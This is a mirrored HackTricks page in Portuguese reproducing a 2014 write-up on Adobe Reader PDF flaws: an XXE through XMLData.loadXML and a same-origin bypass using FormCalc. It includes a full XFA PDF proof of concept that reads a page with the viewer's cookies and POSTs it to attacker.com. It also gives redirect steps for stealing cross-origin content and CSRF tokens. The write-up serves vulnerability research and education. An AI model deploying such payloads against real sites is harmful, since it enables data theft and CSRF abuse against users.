mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-23 03:23:44 +00:00
137 lines
6.6 KiB
Markdown
137 lines
6.6 KiB
Markdown
# Upload de PDF - Bypass de XXE e CORS
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|
|
|
|
#### Conteúdo copiado de [https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html](https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html)
|
|
|
|
### A função Javascript no Reader pode ser usada para ler dados de entidades externas (CVE-2014-8452)
|
|
|
|
Status: Corrigido\
|
|
Realidade: Não corrigido\
|
|
\
|
|
Este é sobre um simples XXE que descobri.\
|
|
Li o artigo "Polyglots: Crossing Origins by Crossing Formats", onde discutiram uma vulnerabilidade em\
|
|
XMLData.parse. Era possível usar entidades externas e referenciá-las.\
|
|
Li a especificação e descobri que existem mais funções do que "parse" para ler XML.\
|
|
Criei um arquivo xml simples, que referencia uma url do mesmo domínio e o analisei com loadXML.\
|
|
Funcionou:
|
|
|
|
![](https://4.bp.blogspot.com/-is4Q5hSZk-Y/VIwdzdAckWI/AAAAAAAAACI/OAzBs9Q-T50/s1600/xxe.png)
|
|
```
|
|
7 0 obj
|
|
<<
|
|
/Type /Action
|
|
/S /JavaScript
|
|
/JS (
|
|
var cXMLDoc = '<?xml version="1.0" encoding="ISO-8859-1"?><foo>muh</foo>'
|
|
var cXMLDoc2 = '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ENTITY aaaa SYSTEM "http://example.com">]><ab>&aaaa;</ab>'
|
|
xml = XMLData.parse(cXMLDoc,false);
|
|
xml.loadXML(cXMLDoc2,false,true);
|
|
)
|
|
>>
|
|
endobj
|
|
```
|
|
O impacto é limitado porque\
|
|
o) é limitado à mesma origem\
|
|
o) as páginas HTML quebram o xml\
|
|
o) Entidades dinâmicas não são suportadas\
|
|
o) Eu tive a ideia de usar um xml utf-16 para evitar quebrar a estrutura xml, mas não funcionou.\
|
|
\
|
|
Mas ainda pode ser usado para ler JSON.
|
|
|
|
### Bypass da política de mesma origem no Reader (CVE-2014-8453)
|
|
|
|
Status: corrigido\
|
|
Realidade: corrigido, mas a mesma origem ainda é vulnerável!\
|
|
\
|
|
Na minha opinião, esta é a vulnerabilidade mais poderosa. Mesmo sem o Bypass de Origem, ela mostra\
|
|
o quão poderoso/assustador o PDF pode ser.\
|
|
Muitas pessoas sabem que o PDF suporta uma linguagem de script chamada Javascript, mas há outra.\
|
|
É mencionado na especificação para XFA, um tipo de arquivo também suportado pelo leitor da Adobe.\
|
|
Chama-se formcalc e não é tão poderoso. É usado para cálculos matemáticos simples. Mas na especificação da Adobe\
|
|
há três funções adicionais: 'GET', 'POST' e 'PUT'. Sim, seus nomes falam por si mesmos.\
|
|
'GET' tem um parâmetro: uma url. Ele usará o navegador (SIM, COOKIES) para recuperar a url e retornar o conteúdo dela.\
|
|
Podemos então usar 'POST' para enviar o conteúdo retornado para nosso próprio servidor:\
|
|
\
|
|
var content = GET("meusamigos.php");\
|
|
Post("http://atacante.com",content);\
|
|
\
|
|
Essas funções são da mesma origem, então um site precisa nos permitir fazer upload de um PDF. Isso não é tão irrealista para\
|
|
a maioria dos sites. Atacante.com não é da mesma origem, então você precisa configurar um crossdomain.xml, como de costume com produtos da Adobe.\
|
|
\
|
|
Para resumir: Isso não é um bug, é um recurso. Assim que você é permitido fazer upload de um PDF em um site,\
|
|
você pode acessar o site no contexto do usuário que está visualizando o PDF. Como as solicitações são emitidas\
|
|
pelo navegador, os cookies também são enviados. Você também pode usá-lo para quebrar qualquer proteção CSRF lendo os tokens.
|
|
```
|
|
% a PDF file using an XFA
|
|
% most whitespace can be removed (truncated to 570 bytes or so...)
|
|
% Ange Albertini BSD Licence 2012
|
|
|
|
% modified by insertscript
|
|
|
|
%PDF-1. % can be truncated to %PDF-\0
|
|
|
|
1 0 obj <<>>
|
|
stream
|
|
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
|
|
<config><present><pdf>
|
|
<interactive>1</interactive>
|
|
</pdf></present></config>
|
|
<template>
|
|
<subform name="_">
|
|
<pageSet/>
|
|
<field id="Hello World!">
|
|
<event activity="initialize">
|
|
<script contentType='application/x-formcalc'>
|
|
var content = GET("myfriends.php");
|
|
Post("http://attacker.com",content);
|
|
</script>
|
|
</event>
|
|
</field>
|
|
</subform>
|
|
</template>
|
|
</xdp:xdp>
|
|
endstream
|
|
endobj
|
|
|
|
trailer <<
|
|
/Root <<
|
|
/AcroForm <<
|
|
/Fields [<<
|
|
/T (0)
|
|
/Kids [<<
|
|
/Subtype /Widget
|
|
/Rect []
|
|
/T ()
|
|
/FT /Btn
|
|
>>]
|
|
>>]
|
|
/XFA 1 0 R
|
|
>>
|
|
/Pages <<>>
|
|
>>
|
|
>>
|
|
```
|
|
Depois de encontrar essas funções, encontrei uma forma de burlar a política de mesma origem. Isso torna possível usar o navegador da vítima como um proxy (@beef ainda está trabalhando no módulo^^).
|
|
|
|
A forma de burlar é realmente simples:
|
|
|
|
1. O usuário A carrega o evil.pdf de http://attacker.com/evil.pdf
|
|
2. O evil.pdf usa o formcalc GET para ler http://attacker.com/redirect.php
|
|
3. redirect.php redireciona com 301 para http://facebook.com
|
|
4. O Adobe reader seguirá e lerá a resposta sem procurar um crossdomain.xml.
|
|
5. O evil.pdf envia o conteúdo recuperado via POST para http://attacker.com/log.php
|
|
|
|
Observe que, usando essa técnica, você pode roubar os tokens CRSF de uma página e abusar das vulnerabilidades CSRF.
|
|
|
|
Essa simples forma de burlar foi corrigida agora. Espero que eles implementem um aviso de diálogo para solicitações de mesma origem também.
|